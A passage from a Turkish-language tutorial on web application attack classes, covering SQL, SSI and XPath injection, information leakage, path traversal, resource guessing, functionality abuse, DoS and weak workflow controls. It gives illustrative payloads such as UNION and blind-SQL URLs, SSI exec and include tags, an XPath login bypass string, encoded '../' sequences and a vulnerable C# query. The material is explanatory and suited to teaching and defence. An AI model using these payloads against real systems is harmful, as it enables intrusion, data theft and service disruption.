1. Normal SQL Enjeksiyonu
Parametreye “union select” cümlesi ekleyerek saldırgan veritabanına giriş hakkı kazanıp kazanamayacağını test edebilir.
http://example/article.asp?ID=2+union+all+select+name+from+sysobjects
SQL sunucusu şuna benzer bir hata döndürebilir:
Microsoft OLE DB Provider for ODBC Drivers error "80040e14"[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
Bu, saldırgana, SQL cümlesinin çalışabilmesi için gerekli sütun sayısını tahmin etmesi gerektiğini söyler.
2. Kör SQL Enjeksiyonu
Kör SQL Enjeksiyonunda sunucu veritabanı hatası yerine kullanıcı dostu bir hata sayfası döndürerek kullanıcıya bir hata yaptığını bildirir. Bu durumda, SQL enjeksiyonu hala yapılabilir, fakat keşfedilmesi o kadar kolay olmaz. Kör SQL enjeksiyonunun keşfedilmesinde parametre değerine doğru veya yanlış cümleler girilmesi ortak kullanılan bir yoldur.
Bir web sitesi, şu talep yapıldığında:
http://example/article.asp?ID=2+and+1=1
bu taleple aynı sonucu döndürmelidir,
http://example/article.asp?ID=2
çünkü 1=1 SQL cümlesi her zaman doğrudur.
Bir web sitesi, şu talep yapıldığında:
http://example/article.asp?ID=2+and+1=0
kullanıcı dostu bir hata sayfası döndürecek veya hiçbir sayfa döndürmeyecektir.
Çünkü and 1=0 SQL cümlesi her zaman yanlış bir cümledir. Saldırgan sitenin kör SQL enjeksiyonuna açık olduğunu farkettiğinde, bazı durumlarda, bu açıklığı normal SQL enjeksiyonundan daha kolay bir şekilde sömürebilir.
f - SSI Enjeksiyonu
SSI Enjeksiyonu (Server-side Include) bir saldırganın, bir web uygulamasına, daha
sonradan web sunucusu tarafından yerel olarak çalıştırılması için, kod göndermesine izin veren bir sömürü tekniğidir. SSI enjeksiyonu, web uygulamasının kullanıcı kaynaklı veriyi sunucu tarafında hazırlanan HTML dosyasına denetim yapmadan koyması hatasını sömürür.
Eğer bir saldırgan sunucu taraflı Include cümleleri yollarsa, keyfi işletim sistemi komutları çalıştırabilme yeteneğine sahip olabilir, veya kısıtlı bir dosyanın içeriğini sayfanın bir sonraki servisine dahil ettirebilir.
Örnek
Takip eden SSI etiketi (tag), bir saldırganın, bir UNIX tabanlı sistemin kök dizininin listesini almasını sağlar.
<!-- #exec cmd="/bin/ls /" -->
Takip eden SSI etiketi, bir saldırganın, bir .NET konfigürasyon dosyasında saklanan veritabanı bağlantı dizesini veya başka hassas verileri elde etmesini sağlar.
<!-- #INCLUDE VIRTUAL="/web.config"-->
g - Xpath Enjeksiyonu
XPath enjeksiyonu, kullanıcı kaynaklı girdilerden Xpath sorguları oluşturan web sitelerini sömürmek için kullanılan bir tekniktir. Xpath 1.0 bir XML dökümanının parçalarını işaret etmek için kullanılabilir. Doğrudan uygulama tarafından bir XML dökümanını sorgulamak için kullanılabildiği gibi, XSTL dökümanının XML dökümanına dönüşümü veya XML dökümanına Xquery uygulanması gibi daha büyük bir işlemin parçası olarak da kullanılabilir. Xpath kullanarak bir xml dökümanında SQL benzeri sorgular oluşturmak mümkündür.
Örneğin, kullanıcı isimli bir elemanı olan bir XML dökümanı olsun, ve bütün bu kullanıcıların isim, parola ve hesap isimli 3 tane alt elemanı olsun. Takip eden Xpath ifadesi “jsmith” isimli ve “Demo1234” parolalı kullanıcının hesap numarasını verir. (veya böyle bir kullanıcı yoksa boş dize verir.)
string(//user[isim/text()="jsmith" and parola/text()="Demo1234"]/hesap/text())
Eğer bir uygulama, Xpath sorgusunu yürütme esnasında oluşturuyorsa, sorguya güvenli olmayan kullanıcı girdisi gömerek sorguya veri enjekte edebilir ve yeni oluşan sorgu programcının isteğinin dışında çalışabilir.
Örnek
Düşünün ki bir web uygulaması bir XML dökümanına sorgu yapmak için Xpath kullanıyor ve ismi ve parolası girilen bir kullanıcının hesap numarasını getiriyor. Bu uygulama bu değerleri doğrudan Xpath sorgusunun içine gömebilir ve güvenlik açığı oluşturabilir.
İşte bir örnek (Microsoft ASP.NET ve C# kullanılarak)
XmlDocument XmlDoc = new XmlDocument();
XmlDoc.Load("...");
XPathNavigator nav = XmlDoc.CreateNavigator();
XPathExpression expr = nav.Compile("string(//kullanıcı[name/text() =""+TextBox1.Text+""and password/text()=""+TextBox2.Text+ ""]/account/text())");
String account=Convert.ToString(nav.Evaluate(expr));
if (account=="")
{
// name+password pair is not found in the XML document
// login failed.
}
else
{
// account found -> Login succeeded.
// Proceed into the application.
}
Bu kod kullanıldığında, bir saldırgan Xpath ifadeleri enjekte edebilir ve örneğin, takip eden değeri kullanıcı adı olarak sağlayabilir.
" or 1=1 or ""="
Bu orjinal Xpath in anlamının değişmesine, ve her zaman XML dökümanındaki ilk hesap numarasının dönmesine sebep olur. Bu durumda sorgu,
string(//kullanıcı[isim/text()="" or 1=1 or ""="" and parola/text()
="foobar"]/hesap/text())
Bu (önermedeki eşitlik her zaman doğru olacağından) şununla eşdeğerdir:
string(//kullanıcı/hesap/text()) ve ilk //kullanıcı/hesap/text() örneğini döndürür.
Bu yüzden, saldırı, doğru kullanıcı adı ve parolası girmediği halde saldırganı sisteme sokar (XML dökümanındaki ilk kullanıcı olarak).
Bilgi Açığa Çıkarma
Sisteme özel bilgilerin açığa çıkarılmasına yönelik saldırıları içerir. Sisteme özel bilgiler, yazılım dağıtımı, versiyon numaraları ve yama seviyelerini içerir. Veya bu bilgi yedek ve geçici dosyaların yeri de olabilir. Çoğu durumda, kullanıcı gereklerini karşılamak için bu bilgiyi açığa çıkarmak gerekli değildir. Birçok web sitesi bir kısım veriyi gösterecektir, fakat mümkün olduğu durumlarda, gösterilen bu verinin boyutunu azaltmak en iyisi olacaktır. Saldırgan web sitesi hakkında ne kadar çok bilgi sahibi olursa, siteyi ele geçirmesi de o kadar kolay olur.
Dizin Endeksleme
Bir web sitesinin, talep edilen dizinin içerisindeki bütün dosyaları listelemesi şeklindeki gerçekleşen bir fonksiyonudur. “ls” (Unix) veya “dir” (Windows) komutunun bu dizinde çalıştırılmasıyla eşdeğerdir ve sonuçları HTML biçiminde gösterir. Saldırı ve karşı tedbir gözüyle bakarsak, istenmeyen dizin listelemelerinin yazılım açıkları ile birleşen özel bir web talebi sonucunda ortaya çıkabileceğini anlamak önemlidir.
Takip eden bilgiler dizin indeksleme sayesinde elde edilebilir:
• Yedek Dosyalar - .bak, .old veya .orig uzantılı dosyalar.
• Geçici Dosyalar – bu dosyaların normalde sunucu tarafından yok edilmesi gerekir fakat bazı sebeplerden dolayı hala erişilebilir durumdalar.
• Gizli Dosyalar – “.” İle başlayan dosya isimleri
• İsimlendirme kabulleri – saldırgan, web sitesinin kullandığı dizin veya dosya isimleri kompozisyonunu tanımlayabilir. Örnek: Admin vs. Admin, backup vs. back-up, vb.
• Kullanıcı Hesaplarını Tarama – bir web sunucusundaki kişisel kullanıcı hesabının sahip olduğu dizin, çoğu zaman kullanıcının adı ile adlandırılır.
• Konfigürasyon Dosyası İçeriği – bu dosyalar giriş kontrolu verilerini içerebilir ve uzantıları genellikle .conf, .cfg veya .config’dir.
• Betik İçeriği – Birçok web sunucusu betiklerin bir yer belirtilerek(örn. /cgi-bin) veya sunucuyu konfigüre ederek dosya izinlerine bağlı olarak çalıştırılmasına izin verir (örn. *nix sistemlerdeki execute biti ve Apache’nin XbitHack direktifini kullanması). Bu seçeneklere göre, eğer cgi-bin klasöründe dizin indekslemesine izin veriliyorsa, izin olmadığı halde bu klasördeki betik kodları indirilebilir, izlenebilir.
Bir saldırganın istenmeyen bir dizinin listesini elde edebilmesi için 3 değişik senaryo vardır:
1. Web sunucusu hatalı bir şekilde dizin indkslenmesine izin verir şekilde konfigüre edilmiştir. Karışıklık, web yöneticisinin konfigürasyon dosyasındaki indeksleme direktiflerini ayarlarken ortaya çıkabilir. Bu kadar karmaşık bir sistemin ayarlarının yapılması sırasında istenmeyen sonuçların ortaya çıkması mümkündür, mesela özel bir alt dizine indeksleme hakkı verilirken sunucunun kalan kısmında bu hak kaldırılabilir. Saldırgan gözüyle HTTP isteği az önce yukarıda belirtilen (sadece etki alanı ile) şekilde yapılır. Bir dizin istenir ve istenen sonucun alınıp alınmadığına bakılır. Saldırganlar web sunucusunun “neden” bu şekilde konfiüre edildiği ile ilgilenmezler.
2. Web sunucusunun bazı parçaları kapalı olduğu halde ve indeks dosyası bulunduğu halde dizin indekslemeye izin verir. Bu, dizin indeksleme için geçerli olan tek sömürü örneği senaryosudur. Birçok web sunucusunda tanımlanan sayısız açıklık bulunmaktadır ve eğer özel HTTP talepleri gönderilirse dizin indeksi ile sonuçlanabilir.
3. Google’ın önbellek veritabanı bir web sitesinin eski taranmasından kalma, dizin indeksi de içerebilen tarihi veriler bulundurabilir.
Bilgi Sızdırma
Bir web sitesine ait hassas veriler için, geliştirici yorumları veya hata mesajları gibi, bu veriler bir saldırganın sistemi sömürmesine yardımcı olabilir. Hassas veri, HTML yorumlarında, hata mesajlarında, kaynak HTML kodunda veya basitçe açık bir düzyazı alanında bulunabilir. Bir web sitesini bu türlü verileri ifşa ettirmeye yarayan birçok yol bulunur. Bu türlü sızıntılar, her zaman doğrudan bir güvenlik açığı olmadığı halde, saldırgana ileriki saldırılarında yararlı bir rehber olabilir. Hassas veri sızıntısı değişik seviyerlerde risk taşıdığından mümkün olduğu kadar önlenmelidir.
Bilgi kaçağının ilk durumunda (HTML kodunda bırakılan yorumlar, hata mesajlarının açık edilmesi), açık; saldırgana dizin yapısı, SQL sorgu yapısı ve web sitesinin kullandığı anahtar işlemler hakkında yapısal bilgi verir. Çoğu zaman geliştirici HTML içerisine yorum veya hata ayıklama ve entegrasyon amaçlı betik kodu bırakır. Bu bilgi betiğin nasıl çalıştığını belirten yorumdan, en kötü durumda, geliştirmenin test aşmasında kullanılan kullanıcı adları ve parolalar olabilir.
Bilgi sızıntısı, gizli zannedilen veriler için de, web sitesi tarafından düzgün bir biçimde korunmadığında geçerlidir. Bu veri, hesap numaraları, kullanıcı tanımlayıcıları (ehliyet numarası, pasaport numarası, kimlik numarası, vb.) ve kullanıcıya özel veri (hesap bakiyesi, adres ve işlem geçmişi, vb.) içerebilir. Yetersiz kimlik doğrulama, yetersiz yetkilendirme ve güvenli iletim şifrelenmesi de veriyi koruyan ve veriye erişimde düzgün kontrolü sağlayan mekanizmalardır. Birçok saldırı, müşteri saldırıları, sıradan gözlemciler, gibi, web sitesinin korunması kapsamının dışında kalır. Bilgi sızıntısı, bu bağlamda, açık bir şekilde kullanıcıya bile gösterilmemesi gereken, gizli ve anahtar kullanıcı verilerinin ifşa edilmesiyle ilgilenir. Kredi kartı numaraları, düzgün şifreleme ve giriş kontrolü yapılsa bile bu tür ifşalardan korunması gereken kullanıcı verilerinde önemli bir örnektir.
Örnek
Bilgi sızıntısı 3 ana kategoride incelenebilir: HTML kodunda bırakılan yorumlar, hata mesajlarının ifşası, açık bir şekilde görünebilen gizli veriler.
HTML kodunda bırakılan yorumlar:
<TABLE border="0" cellPadding="0" cellSpacing="0"
height="59" width="591">
<TBODY>
<TR>
<!--If the image files are missing, restart VADER -->
<TD bgColor="#ffffff" colSpan="5" height="17" width="587"> </TD>
</TR>
Burada gördüğümüz gibi, geliştirici/kalite kontrol personelinden birisi resim dosyalarının görüntülenememesi halinde neler yapılması gerektiğini belirten yorum bırakmıştır. Güvenlik açığı ise, yorumun içerisinde açık bir şekilde geçen sunucu ismidir, “VADER”.
Hata mesajlarının açık edilmesine örnek, geçersiz sorgulara verilen cevaplar olabilir. Çok bilinen bir örnek, SQL sorgularıyla ilişkilendirilmiş hata mesajlarıdır. SQL enjeksiyonu saldırıları, saldırganın, sitedeki SQL sorgularının oluşturulmasının yapısı ve biçimi hakkında ön-bilgi sahibi olmasını gerektirir. Açık edilen hata mesajlarındaki bilgi, saldırgana, arkadaki veritabanında geçerli SQL sorgularının nasıl oluşturulduğu hakkında önemli bilgi sağlar.
Takip eden bilgi bir giriş formundaki kullanıcı adı kısmına tek tırnak işareti konduğunda sunucu tarafından döndürülmüştür.
Açık hata mesajı:
An Error Has Occurred.
Error Message:
System.Data.OleDb.OleDbException: Syntax error (missing operator) in query expression "username = """ and password = "g"". At System.Data.OleDb.OleDbCommand.ExecuteCommandTextErrorHandling(Int32 hr) at System.Data.OleDb.OleDbCommand.ExecuteCommandTextForSingleResult(tagDBPARAMS dbParams, Object& executeResult) at…
İlk hata cümlesinde sözdizimi hatası rapor edilmiş.
Hata mesajı SQL sorgusunda kullanılan sorgu parametrelerini açık etmektedir:
username ve password. Bu ifşa edilen bilgi saldırganın siteye yapacağı SQL enjeksiyonu saldırılarına başlaması için gereken tek eksik parçadır.
Yol Takibi
Web dökümanları kök dizininin dışında kalan dosyalara, dizinlere veya komutlara erişimi sağlar. Bir saldırgan URL’i öyle bir şekilde düzenleyebilir ki, web sitesi web sunucusu üzerindeki rastgele dosyaları çalıştırır veya görüntüler. HTTP-tabanlı arayüze sahip her makina potansiyel olarak “Yol Takibi”’ne açıktır.
En genel “Yol Takibi” saldırısı, URL’de istenen kaynağın yerini değiştirmek için “../” özel karakterlerini kullanır. Birçok popüler web sunucusu web dökümanı kök dizininden çıkışı engellese de, “../” karakterlerinin değişik kodlanması, güvenlik filtrelerini aşabilir. Bu metot şekilleri arasında, eğik çizgi karakterinin geçerli veya geçersiz Unicode kodlanması (“..∖” veya “..%c0%af”), Windows tabanlı sistemlerdeki ters eğik çizgi karakterinin kullanılması (“..\”), URL kodlanmış karakterler (“%2e%2e%2f”), ve ters eğik çizgi karakterinin iki kez URL kodlanması (“..%255c”) bulunur.
Web sunucusu, URL üzerinden, “Yol Takibi”’ni düzgün bir şekilde kısıtlasa da, web uygulmasının kendi kullanıcı girdisini düzgün bir şekilde denetlemezse, bu saldırıya açık olabilir. Bu, şablon mekanizması kullanan veya dosyadan durağan bir yazı yükleyen web uygulamalarında ortak görülen bir sorundur. Saldırının çeşitli şekillerinde, orjinal URL parametresi, web uygulamasının dinamik bir betiğinin dosya ismiyle değiştirilir. Sonuç olarak, dönen sayfa kaynak kodu gösterir, çünkü dosya yürütülebilir bir betik şeklinde değil de yazı dosyası olarak okunmuştur.
Bu teknik çoğu zaman özel karakterlerden de faydalanır, örneğin (“.”) nokta karakteri şu anda çalışmakta olan dizinin listesini göstermeye, “%00” NULL karakteri de temel dosya uzantısı kontrollerini geçmeye yarar.
Örnek
Bir web sunucusuna karşı “Yol Takibi” saldırıları:
Saldırı: http://örnek/../bir/dosya
Saldırı: http://örnek/..%5c..%5c..%5cbir/dosya
Saldırı: http://örnek/..∖..∖bir/dosya
Bir web uygulamasına karşı “Yol Takibi” saldırıları:
Orjinal: http://example/foo.cgi?home=index.htm
Saldırı: http://example/foo.cgi?home=foo.cgi
Yukarıdaki örnekte, web uygulaması foo.cgi dosyasındaki kaynak kodu gösterir, çünkü “home” değişkeninin değeri içerik olarak kullanılmıştır. Dikkatinizi çektiyse, bu durumda saldırgan, başarılı olmak için “Yol Takibi”’ne yarayan veya herhangi bir geçersiz karakter kullanmak zorunda kalmamıştır. Saldırgan aynı dizindeki başka bir dosyayı hedef almıştır.
Bir web uygulamasına karşı özel karakter dizileri kullanılarak yapılan saldırılar:
Saldırı: http://example/scripts/foo.cgi?page=../scripts/foo.cgi txt
Yukarıdaki örnekte, web uygulaması foo.cgi dosyasının kaynak kodunu özel karakter dizileri kullanarak yapılan saldırı sonucu görüntülemiştir. “../” dizisi bir üst dizine çıkmaya oradan da /scripts dizinine girmeye yaramıştır. “%00” dizisi hem dosya uzantısı kontrölünü geçmek için hem de dosya okunduğunda uzantısının atılması için kullanılır.
Tahmin Edilir Kaynak Konumu
Web sitesinin gizli içeriğini veya işlevini açığa çıkarmak için kullanılan bir saldırı tekniğidir. Mantıklı tahminler yaparak, saldırı kamusal izlenime kapalı olan içeriği birer birer deneyerek arar. Geçici dosyalar, yedek dosyaları, konfigürasyon dosyaları, ve örnek dosyalar potansiyel olarak ortada bırakılmış dosyalara örnek olabilir. Bu birer birer deneyerek arama işlemi kolaydır çünkü gizli dosyalar genelde aynı şekilde isimlendirilir ve benzer yerlerde bulunur. Bu dosyalar web uygulamasının içeriği, veritabanı bilgisi, parolalar, makina isimleri, diğer hassas bölgelere olan dosya yolları hakkında hassas bilgileri içerebilir veya açıklıkları içerisinde bulundurabilir. Bu bilgilerin açığa çıkarılması saldırgan için çok değerlidir.
Tahmin edilebilir kaynak konumu saldırısı Güçlü Tarama, Dosya Sıralama, Dizin Sıralama vb. olarak da bilinir.
Örnek
Herhangi bir saldırgan kamuya açık bir web sunucusuna rastgele dosya veya dizin talebinde bulunabilir. Kaynağın bulunup bulunmadığı web sunucusunun döndüğü HTTP dönüş kodları incelenerek bulunabilir.
Birçok Yeri Tahmin Edilebilir Kaynak saldırı çeşidi bulunur.
Ortak dosya ve dizinlerin kör aranması:
/admin/
/backup/
/logs/
/açık_dosya.cgi
Bulnunan dosyalara uzantı ekleme: (/test.asp)
/test.asp.bak
/test.bak
/test
Mantıksal Saldırılar
Fonksiyonelliğin Kötüye Kullanımı
Fonksiyonelliğin kötüye kullanımı, web uygulama saldırıları kategorileri ile iç içedir. Fonksiyonelliğin kötüye kullanılma saldırıları aynı zamanda güç arttırmak amacı ile yaygın olarak kullanılır. Mesela, saldırgan bir web söyleşi sitesine XSS parçasını enjekte ederek ve sitenin "herkese gönder" fonksiyonunu kullanarak kötü amaçlı kod ile bütün siteye etki edebilir.
Örnek
Fonksiyonelliğin kötüye kullanılma örnekleri: a) bir web sitesindeki sorgulama fonksiyonunun web dizini dışındaki kısıtlanmış dosyalara ulaşılmasında kullanılması, b) bir dosya yükleme altsisteminin dahili kritik konfigürasyon dosyalarının değiştirilmesinde kullanılması, ve c) Bir web-kullancı giriş sayfasının tanımlı kullanıcı isimleri ve tanımsız parolalar ile bombardıman edilerek tanımlı kullanıcıların, belirli bir tekrar deneme limiti aşıldığı için, hesapları kilitlenerek uygulamanın servis dışı bırakma saldırısına uğratılması gibi saldırıları içerir.
Genel bir kaç uygulama saldırıları şöyledir:
1. Matt Wright FormMail
PERL tabanlı "FormMail" web uygulaması, normal olarak kullanıcı tarafından sağlanan form verilerinin önceden programlanmış bir e-mail adresine gönderilmesi için kullanılıyordu. Betik, web sitelerine geri beslemeyi sağlayacak, kullanılması kolay bir çözüm sağlıyordu. Bu nedenle, FormMail betiği çevrimiçi olarak en çok kullanılan CGI programlarından biriydi. Ne yazık ki, programın bu yüksek derecedeki kolaylığı ve kullanılabilirliği saldırganlar tarafından uzaktaki herhangi bir alıcıya e-mail yollanması suretiyle kötüye kullanılmıştı. Kısacası, bu web uygulaması tarayıcıdan tek bir web isteğiyle bir spam-rölesi motoruna (spam-relay) dönüştürülmüştü.
Saldırganın istenilen e-mail parametrelerini içeren bir URL oluşturup, CGI programına HTTP GET yollaması yeterliydi. Mesela;
http://example/cgi-bin/[email protected]&message=you&got&spam
Web sunucunun yollayıcı olarak davranması ve web uygulamasının saldırgana tamamen vekalet etmesi ile bir e-mail üretilir. Betiğin bu versiyonunda hiç bir güvenlik mekanizması bulunmadığından, uygulanabilecek tek savunma önlemi, kullanılacak özel e-mail adresinin betiğin içine gömülmesiydi. Bu çözümün engellenmesi durumunda ise, site operatörleri web uygulamasını ya tam olarak kaldırmak ya da tamamen değiştirmek zorunda kalıyorlardı.
2. Macromedia"nın Cold Fusion"u
Bazen web uygulamalarının içine istenmeyen amaçlar için kolaylıkla kullanılabilen temel yönetimsel araçlar gömülürler. Örnek olarak, Macromedia"nın Cold Fusion"u kurulum ile birlikte gelen ve herkes tarafından erişilebilen bir kaynak kod görüntüleme modülüne sahiptir. Bu modülün suistimali web uygulamasında ciddi bir bilgi sızmasına yol açabilir. Çogunlukla bu tür modüller, örnek dosyalar veya kurulum dışı fonksiyonlar değil, kritik sistem bileşenleridirler. Bu durum web uygulamaları sistemlerine derinden bağlandıkları nedeniyle bu tür modüllerin kapatılmalarını problemli kılar.
3. Smartwin CyberOffice Alışveriş Sepeti Fiyat Değişikliği
Fonksiyonelliğin suistimali bir saldırganın web uygulamasının davranışını değiştirmek için verileri umulmadık bir şekilde bozmasıyla gerçekleşir. Mesela, CyberOffice alışveriş sepeti, web formunun içindeki gizli fiyat alanının değiştirilmesi ile suistimal edilebilir. Web sayfası normal olarak indirilir, değiştirilir ve sonra fiyat alanı istenilen herhangi bir fiyata eşitlenerek geri yollanılır.
Denial of Services (DoS) - Servis Dışı Bırakma
Bir web sitesini normal kullanıcı aktivitelerinden alıkoymak amacıyla gerçekleştirilen saldırı tekniğidir. Bir çok zaman DoS saldırıları bir web sitesinin varolan bütün sistem kaynaklarını bitirmeye çalışırlar, bu kaynaklara örnek olarak; CPU, hafıza, disk yeri, v.b. verilebilir. Bu kritik kaynaklardan herhangi biri tam güç kullanıldığında, web sitesi normal olarak erişilemez olacaktır.
Bugünün web uygulamaları bir web sunucusu, veritabanı sunucusu ve bir yetkilendirme sunucusu içerdiğinden, uygulama tabakasındaki bir DoS, bu birbirinden bağımsız bileşenlerden herhangi birini hedef alabilir. Çok büyük miktarda bağlantı teşebbüsü gerektiren network tabakasındaki DoS"dan farklı olarak, uygulama tabakasındaki DoS çok daha kolay uygulanabilir bir iştir.
Basit bir uygulama tabakası DoS saldırısı, medikal geçmiş raporu üretilmesi için 10 isteğin aynı anda gönderilmesi olacaktır. Bu istekler, veritabanı sunucusunun CPU"sunu %100 yoğunluğa ulaştıracağından web sitesini büyük bir ihtimalle hizmet dışı durumuna sokacaktır. Bu noktada sistem normal kullanıcı aktivitesine servis veremez hale gelecektir.
1. Belli Bir Kullanıcıyı Hedef Alan DoS
Saldırgan belli bir kullanıcı adı ve bilinçli olarak üretilmiş yanlış bir parola ile bir web sitesine girmek isteyecektir. Bu işlem en sonunda kullanıcı adı kullanılan kişinin hesabını kitleyecektir.
2. Veritabanını Hedef Alan DoS
Saldırgan veritabanını değiştirip sistemi kullanılmaz hale getirmek (Bütün veriyi, kullanıcı adlarını silerek, v.b.) için SQL Enjeksiyonu tekniklerini kullanacaktır.
3. Web Sunucusunu Hedef Alan DoS
Saldırgan, web sunucusu işini (proses) sonlandıran özel olarak hazırlanmış bir istek göndermek için arabellek taşması tekniklerini kullanacak ve sistemi normal kullanıcı aktivitelerine erişilmez hale getirecektir.
Yetersiz Anti-otomasyon
Bir web sitesinin saldırgana normalde manual olarak (elle) yapması gereken bir işi otomatik olarak yapabilmesine izin verdiği durumdur. Bazı web sitesi fkonsiyonları otomatikleştirilmiş saldırılara karşı korunmalıdır.
Göz önünde bulundurulmamış otomatik robotlar (programlar) veya saldırganlar, web sitesinin fonksiyonlarını sistemi sömürmek veya dolandırmak için tekrar tekrar kullanabilirler. Otomatik bir robot bir dakika içinde binlerce istek çalıştırıp potansiyel iş ve servis kaybına neden olur.
Mesela, otomatik bir robot bir kaç dakika içinde onbinlerce yeni hesap açamamalıdır. Benzer olarak, otomatik robotlar diğer kullanıcıları mesaj tahtalarına tekrar tekrar mesaj yollayarak taciz edememelidirler. Bu operasyonlar sadece insanların kullanabileceği operasyonlar olarak kısıtlanmalıdırlar.
Yetersiz İş Denetimi
Bir web sitesinin saldırgana uygulamanın istenilen kontrol akışını baypas edebilmesine veya atlamasına izin verdiği durumdur. Eğer kullanıcı durumu bir iş süresince denetlenmiyor ve uygulanmıyorsa, web sitesi sömürülmeye veya dolandırılıcılığa açık olabilir.
Eğer kullanıcı bazı adımları yanlış veya hatalı bir şekilde gerçeklerse, bir veri bütünlüğü hatası oluşur. Bir kaç adımlı işler para transferi, parola kurtarılması, satın alma, hesap açma v.b. örneklerini kapsar.
Web siteleri kullanıcı durumlarını izlemek için normal olarak çerezler veya gizli HTML alanlarını kullanırlar. Ancak, izleme bilgisi istemci tarafında tarayıcıda (browser) tutulursa verinin bütünlüğü denetlenmelidir. Eğer denetlenmezse, saldırgan güncel durumunu değiştirerek umulan trafik akışını atlatabilir.
Örneğin;
Online bir alış veriş sepeti sistemi, müşterilerine bir A ürünü satın alındığında belli bir indirim sağlayabilir. Kullanıcı, A ürününü yerine bir B ürününü almak isteyebilir. Kullanıcı, sepetini ürün A ve B ile doldurarak ve hesap kesim işlemini gerçekleyerek indirimden faydalanabilir. Daha sonra kullanıcı hesap kesim işleminden geri çıkıp, A ürününü sepetten siler veya bir sonraki adımı yollamadan değerleri değiştirir. Kullanıcı daha sonra tekrar hesap kesim işleminden geçer ve daha önce sepetindeki A ürününden dolayı indirimden faydalanmış bir şekilde dolandırılmış bir alım fiyatı elde etmiş olur.